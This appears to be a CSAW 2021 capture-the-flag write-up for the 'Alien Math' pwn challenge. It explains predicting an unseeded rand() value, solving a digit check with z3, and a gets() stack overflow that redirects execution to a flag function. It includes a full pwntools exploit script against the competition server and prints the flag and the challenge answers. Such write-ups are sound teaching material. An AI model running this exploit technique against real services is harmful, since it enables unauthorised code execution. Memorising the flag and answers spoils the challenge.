**Tags:** csaw2021 pwn

Rating: 5.0

# Alien Math

![image](https://user-images.githubusercontent.com/14978853/133141910-2a484123-4a73-4701-a23b-c73c3fc758a2.png)

We start from the taking a look at `alien_math` ELF binary in IDA and see the following picture:

Rough look at the code gives us the understanding that we need to solve some challenges before we actually have a BOF.

Let's start from the beginning.

The code asks user for some number (`scanf("%d", &v5)`) with a question `What is the square root of zopnol?`,

then it uses `rand()` to generate the first pseudo-random number which is then being compared with the user input.

The `rand()` function is called without preceeding call to `srand()` which must initialize the pseudo-random number generator,

that means all the `rand()` calls will have same output every program run (on any system).

So lets debug and see what the number is being generated by `rand()` and it will be the answer to the first challenge and it is a number `1804289383`.

The second challenge is inside `second_question(v4)` function, where `v4` holds user input for a question `How many tewgrunbs are in a qorbnorbf?`.

Here is the pseudocode of the `second_question` function:

We see that the user input (in `a1` argument) is being checked for allowed characters (`a1[i] <= '/' || a1[i] > '9'`) and

exits if there is a character which is not in range `0..9`.

Then some calculations and transformations are applied on the input buffer with help of `second_question_function` and after the loop the resulting buffer is being compared

with number `7759406485255323229225`.

Here is the pseudocode of `second_question_function`:

To solve this challenge I used `z3` python library:

```py

def second():

solver = z3.Solver()

chars = z3.BitVecs(''.join((f'd{d:02} ' for d in range(len(expected)-1))), 32)

for ch in chars:

solver.add(ch > 47, ch <= 57)

an = chars[0]

for i in range(len(chars)- 1):

v1 = chars[i + 1] - ord('0')

an = ((v1 + fn(an, i + an)) % 10) + ord('0')

solver.add(an == expected[i+1])

solver.add(chars[0] == ord('7'))

assert solver.check() == z3.sat

rv = ''

for i in range(len(chars)):

rv += chr(solver.model()[chars[i]].as_long())

print(rv)

return rv

print('finding the second challenge answer...')

enter2 = second().encode() # b'7856445899213065428791'

```

We got an answer to the second challenge question: `7856445899213065428791` and we finally reached `final_question` where the BOF is "implemented":

We see there is call `gets(v1)` where v1 is the stack buffer, lets try to exploit it with sending the pattern of

charatecters created with Metasploit's `pattern_create.rb` to find the stack offset to the retn address and it equals 24.

Let's build the final exploit and get the flag:

```py

import traceback

from pwn import *

import z3

ip = "pwn.chal.csaw.io"

port = 5004

# elf = ELF('alien_math')

prefix = b""

offset = 24 # calculated using pattern_offset

overflow = b"A" * offset

retn = p64(0x4014FB) # address of `print_flag`

buffer = prefix + overflow + retn

r = remote(ip, port)

enter1 = b'1804289383'

expected = b'7759406485255323229225'

def fn(a, b):

return (12 * (b - ord('0')) - 4 + 48 * (a - ord('0')) - (b - ord('0'))) % 10

def second():

solver = z3.Solver()

chars = z3.BitVecs(''.join((f'd{d:02} ' for d in range(len(expected)-1))), 32)

for ch in chars:

solver.add(ch > 47, ch <= 57)

an = chars[0]

for i in range(len(chars)- 1):

v1 = chars[i + 1] - ord('0')

an = ((v1 + fn(an, i + an)) % 10) + ord('0')

solver.add(an == expected[i+1])

solver.add(chars[0] == ord('7'))

assert solver.check() == z3.sat

rv = ''

for i in range(len(chars)):

rv += chr(solver.model()[chars[i]].as_long())

print(rv)

return rv

print('finding the second challenge answer...')

enter2 = second().encode() # b'7856445899213065428791'

try:

r.recvuntil(b'zopnol?')

print("solving the first challenge...")

r.sendline(enter1)

r.recvuntil(b'qorbnorbf?')

print('solving the second challenge')

r.sendline(enter2)

r.recvuntil(b'salwzoblrs?')

print("Sending payload...")

r.sendline(buffer)

while True:

print(r.recv(1024))

except EOFError:

pass

except:

print("error.")

print(traceback.format_exc())

```

Done! we got the flag: `flag{w3fL15n1Rx!_y0u_r34lLy_4R3_@_fL1rBg@rpL3_m4573R!}`

Original writeup (https://github.com/EvilBunnyWrote/Write-ups/blob/main/csaw_2021/alien_math.md).